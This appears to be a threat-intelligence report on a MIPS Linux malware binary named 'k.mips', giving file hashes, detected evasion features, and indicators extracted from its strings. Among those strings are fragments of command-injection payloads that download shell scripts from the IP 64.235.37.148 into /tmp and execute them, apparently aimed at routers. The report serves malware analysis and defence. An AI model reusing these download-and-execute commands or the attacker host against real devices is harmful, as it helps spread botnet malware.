k.mips

First submission 2024-10-18 00:33:02

File details

File type: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
Mime type: application/x-executable
File size: 180.18 KB (184503 bytes)
MD5: 2d72cd45999d5d656798e2c42a23d631
SHA1: e24bf53885807aefc93fb1d566a2448722c05eeb
SHA256: c5811aa1629098159916ab7e330cf55d88cb908249fa1de34bb0c254dd0d1fa2

File features detected

Is DLL
Packers
Anti Debug
Anti VM
Signed
XOR

URLs, FQDN and IP indicators 1

URL Host (FQDN/IP) Date Added
hXXp://64.235.37.148/bins/k.mips VirusTotal Report 64.235.37.148 VirusTotal Report 2024-10-18 00:33:02

Strings analysis - Possible IPs found 7

1.9.2.6
1.9.2.4
1.8.1.11
1.9.0.8
64.235.37.148
8.8.8.8
1.9.0.6

Strings analysis - Possible URLs found 6

http://64.235.37.148/gpon+-O+/tmp/gaf;sh+/tmp/gaf
http://64.235.37.148/t%20-O%20-%3E%20/tmp/t;sh%20/tmp/t%27$
http://64.235.37.148/real.sh
http://schemas.xmlsoap.org/soap/envelope/
http://schemas.xmlsoap.org/soap/encoding/
http://64.235.37.148/Kirin.sh;chmod